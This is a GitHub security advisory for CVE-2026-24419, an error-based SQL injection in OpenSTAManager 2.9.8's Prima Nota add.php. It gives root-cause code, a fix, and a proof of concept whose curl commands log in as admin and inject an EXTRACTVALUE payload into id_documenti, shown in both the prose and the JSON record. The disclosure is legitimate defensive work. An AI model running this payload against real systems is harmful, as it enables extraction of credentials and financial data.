GHSA-4J2X-JH4M-FQV6

Vulnerability from github – Published: 2026-02-06 18:25 – Updated: 2026-02-06 18:25
VLAI?
Summary
OpenSTAManager has a SQL Injection in the Prima Nota module
Details

Summary

Critical Error-Based SQL Injection vulnerability in the Prima Nota (Journal Entry) module of OpenSTAManager v2.9.8 allows authenticated attackers to extract complete database contents including user credentials, customer PII, and financial records through XML error messages by injecting malicious SQL into URL parameters.

Status: ✅ Confirmed and tested on live instance (v2.9.8) Vulnerable Parameters: id_documenti (GET parameters) Affected Endpoint: /modules/primanota/add.php Attack Type: Error-Based SQL Injection (IN clause)

Details

OpenSTAManager v2.9.8 contains a critical Error-Based SQL Injection vulnerability in the Prima Nota (Journal Entry) module's add.php file. The application fails to validate that comma-separated values from GET parameters are integers before using them in SQL IN() clauses, allowing attackers to inject arbitrary SQL commands and extract sensitive data through XPATH error messages.

Vulnerability Chain:

  1. Entry Point: /modules/primanota/add.php (Lines 63-67) php $id_documenti = $id_documenti ?: get('id_documenti'); $id_documenti = $id_documenti ? explode(',', (string) $id_documenti) : []; Impact: The get() function retrieves user-controlled URL parameters, explode(',', (string) ...) splits them by comma, but NO validation ensures elements are integers.

  2. SQL Injection Point: /modules/primanota/add.php (Line 306) php $id_anagrafica = $dbo->fetchOne('SELECT idanagrafica FROM co_documenti WHERE id IN('.($id_documenti ? implode(',', $id_documenti) : 0).')')['idanagrafica']; Impact: Array elements from $id_documenti are directly concatenated using implode() without type validation or prepare(), enabling full SQL injection.

Root Cause Analysis:

The vulnerability exists because: 1. get('id_documenti') return user-controlled strings 2. explode(',', (string) $value) splits by comma but doesn't validate types 3. implode(',', $array) concatenates array elements directly into SQL 4. No validation ensures array elements are integers 5. Attacker can inject SQL by providing: ?id_documenti=1) AND EXTRACTVALUE(...) %23

Affected Code Path:

GET /modules/primanota/add.php?id_documenti=MALICIOUS_PAYLOAD
  ↓
add.php:63 - $id_documenti = get('id_documenti')
  ↓
add.php:64 - $id_documenti = explode(',', (string) $id_documenti) [NO TYPE VALIDATION]
  ↓
add.php:306 - WHERE id IN('.implode(',', $id_documenti).') [INJECTION POINT]

PoC

Step 1: Login

curl -c /tmp/cookies.txt -X POST 'http://localhost:8081/index.php?op=login' \
  -d 'username=admin&password=admin'

Step 2: Verify Vulnerability (Error-Based SQL Injection)

Test 1: Extract Database User and Version

curl -b /tmp/cookies.txt "http://localhost:8081/modules/primanota/add.php?id_documenti=1)%20AND%20EXTRACTVALUE(1,CONCAT(0x7e,(SELECT%20CONCAT(USER(),'%20|%20',VERSION()))))%23"

Response (error message visible to attacker):

<code>SQLSTATE[HY000]: General error: 1105 XPATH syntax error: &#039;~osm@172.18.0.3 | 8.3.0&#039;</code>

image

Impact

All authenticated users with access to the Prima Nota (Journal Entry) module.

Recommended Fix

Primary Fix - Type Validation:

File: /modules/primanota/add.php

BEFORE (Vulnerable - Lines 63-67):

$id_documenti = $id_documenti ?: get('id_documenti');
$id_documenti = $id_documenti ? explode(',', (string) $id_documenti) : [];

AFTER (Fixed):

$id_documenti = $id_documenti ?: get('id_documenti');
$id_documenti = $id_documenti ? explode(',', (string) $id_documenti) : [];
// Validate that all array elements are integers
$id_documenti = array_map('intval', $id_documenti);
$id_documenti = array_filter($id_documenti, fn($id) => $id > 0); // Remove zero/negative IDs

Credits

Discovered by Łukasz Rybak

Show details on source website

{
  "affected": [
    {
      "package": {
        "ecosystem": "Packagist",
        "name": "devcode-it/openstamanager"
      },
      "ranges": [
        {
          "events": [
            {
              "introduced": "0"
            },
            {
              "last_affected": "2.9.8"
            }
          ],
          "type": "ECOSYSTEM"
        }
      ]
    }
  ],
  "aliases": [
    "CVE-2026-24419"
  ],
  "database_specific": {
    "cwe_ids": [
      "CWE-89"
    ],
    "github_reviewed": true,
    "github_reviewed_at": "2026-02-06T18:25:55Z",
    "nvd_published_at": null,
    "severity": "HIGH"
  },
  "details": "### Summary\n\nCritical Error-Based SQL Injection vulnerability in the Prima Nota (Journal Entry) module of OpenSTAManager v2.9.8 allows authenticated attackers to extract complete database contents including user credentials, customer PII, and financial records through XML error messages by injecting malicious SQL into URL parameters.\n\n**Status:** \u2705 Confirmed and tested on live instance (v2.9.8)\n**Vulnerable Parameters:** `id_documenti` (GET parameters)\n**Affected Endpoint:** `/modules/primanota/add.php`\n**Attack Type:** Error-Based SQL Injection (IN clause)\n\n### Details\n\nOpenSTAManager v2.9.8 contains a critical Error-Based SQL Injection vulnerability in the Prima Nota (Journal Entry) module\u0027s add.php file. The application fails to validate that comma-separated values from GET parameters are integers before using them in SQL IN() clauses, allowing attackers to inject arbitrary SQL commands and extract sensitive data through XPATH error messages.\n\n**Vulnerability Chain:**\n\n1. **Entry Point:** `/modules/primanota/add.php` (Lines 63-67)\n   ```php\n   $id_documenti = $id_documenti ?: get(\u0027id_documenti\u0027);\n   $id_documenti = $id_documenti ? explode(\u0027,\u0027, (string) $id_documenti) : [];\n   ```\n   **Impact:** The `get()` function retrieves user-controlled URL parameters, `explode(\u0027,\u0027, (string) ...)` splits them by comma, but NO validation ensures elements are integers.\n\n2. **SQL Injection Point:** `/modules/primanota/add.php` (Line 306)\n   ```php\n   $id_anagrafica = $dbo-\u003efetchOne(\u0027SELECT idanagrafica FROM co_documenti WHERE id IN(\u0027.($id_documenti ? implode(\u0027,\u0027, $id_documenti) : 0).\u0027)\u0027)[\u0027idanagrafica\u0027];\n   ```\n   **Impact:** Array elements from `$id_documenti` are directly concatenated using `implode()` without type validation or `prepare()`, enabling full SQL injection. \n\n\n**Root Cause Analysis:**\n\nThe vulnerability exists because:\n1. `get(\u0027id_documenti\u0027)`  return user-controlled strings\n2. `explode(\u0027,\u0027, (string) $value)` splits by comma but doesn\u0027t validate types\n3. `implode(\u0027,\u0027, $array)` concatenates array elements directly into SQL\n4. No validation ensures array elements are integers\n5. Attacker can inject SQL by providing: `?id_documenti=1) AND EXTRACTVALUE(...) %23`\n\n**Affected Code Path:**\n```\nGET /modules/primanota/add.php?id_documenti=MALICIOUS_PAYLOAD\n  \u2193\nadd.php:63 - $id_documenti = get(\u0027id_documenti\u0027)\n  \u2193\nadd.php:64 - $id_documenti = explode(\u0027,\u0027, (string) $id_documenti) [NO TYPE VALIDATION]\n  \u2193\nadd.php:306 - WHERE id IN(\u0027.implode(\u0027,\u0027, $id_documenti).\u0027) [INJECTION POINT]\n```\n\n### PoC\n\n\n**Step 1: Login**\n```bash\ncurl -c /tmp/cookies.txt -X POST \u0027http://localhost:8081/index.php?op=login\u0027 \\\n  -d \u0027username=admin\u0026password=admin\u0027\n```\n\n**Step 2: Verify Vulnerability (Error-Based SQL Injection)**\n\n**Test 1: Extract Database User and Version**\n```bash\ncurl -b /tmp/cookies.txt \"http://localhost:8081/modules/primanota/add.php?id_documenti=1)%20AND%20EXTRACTVALUE(1,CONCAT(0x7e,(SELECT%20CONCAT(USER(),\u0027%20|%20\u0027,VERSION()))))%23\"\n```\n\n**Response (error message visible to attacker):**\n```html\n\u003ccode\u003eSQLSTATE[HY000]: General error: 1105 XPATH syntax error: \u0026#039;~osm@172.18.0.3 | 8.3.0\u0026#039;\u003c/code\u003e\n```\n\u003cimg width=\"1231\" height=\"405\" alt=\"image\" src=\"https://github.com/user-attachments/assets/1657b844-281a-431b-8472-c81e4d90bf64\" /\u003e\n\n\n### Impact\n\nAll authenticated users with access to the Prima Nota (Journal Entry) module.\n\n\n### Recommended Fix\n\n**Primary Fix - Type Validation:**\n\nFile: `/modules/primanota/add.php`\n\n**BEFORE (Vulnerable - Lines 63-67):**\n```php\n$id_documenti = $id_documenti ?: get(\u0027id_documenti\u0027);\n$id_documenti = $id_documenti ? explode(\u0027,\u0027, (string) $id_documenti) : [];\n```\n\n**AFTER (Fixed):**\n```php\n$id_documenti = $id_documenti ?: get(\u0027id_documenti\u0027);\n$id_documenti = $id_documenti ? explode(\u0027,\u0027, (string) $id_documenti) : [];\n// Validate that all array elements are integers\n$id_documenti = array_map(\u0027intval\u0027, $id_documenti);\n$id_documenti = array_filter($id_documenti, fn($id) =\u003e $id \u003e 0); // Remove zero/negative IDs\n```\n\n### Credits\nDiscovered by \u0141ukasz Rybak",
  "id": "GHSA-4j2x-jh4m-fqv6",
  "modified": "2026-02-06T18:25:55Z",
  "published": "2026-02-06T18:25:55Z",
  "references": [
    {
      "type": "WEB",
      "url": "https://github.com/devcode-it/openstamanager/security/advisories/GHSA-4j2x-jh4m-fqv6"
    },
    {
      "type": "PACKAGE",
      "url": "https://github.com/devcode-it/openstamanager"
    }
  ],
  "schema_version": "1.4.0",
  "severity": [
    {
      "score": "CVSS:4.0/AV:N/AC:L/AT:N/PR:L/UI:N/VC:H/VI:H/VA:H/SC:N/SI:N/SA:N",
      "type": "CVSS_V4"
    }
  ],
  "summary": "OpenSTAManager has a SQL Injection in the Prima Nota  module "
}


Log in or create an account to share your comment.




Tags
Taxonomy of the tags.


Loading…

Loading…

Loading…

Sightings

Author Source Type Date

Nomenclature

  • Seen: The vulnerability was mentioned, discussed, or observed by the user.
  • Confirmed: The vulnerability has been validated from an analyst's perspective.
  • Published Proof of Concept: A public proof of concept is available for this vulnerability.
  • Exploited: The vulnerability was observed as exploited by the user who reported the sighting.
  • Patched: The vulnerability was observed as successfully patched by the user who reported the sighting.
  • Not exploited: The vulnerability was not observed as exploited by the user who reported the sighting.
  • Not confirmed: The user expressed doubt about the validity of the vulnerability.
  • Not patched: The vulnerability was not observed as successfully patched by the user who reported the sighting.


Loading…

Detection rules are retrieved from Rulezet.

Loading…

Loading…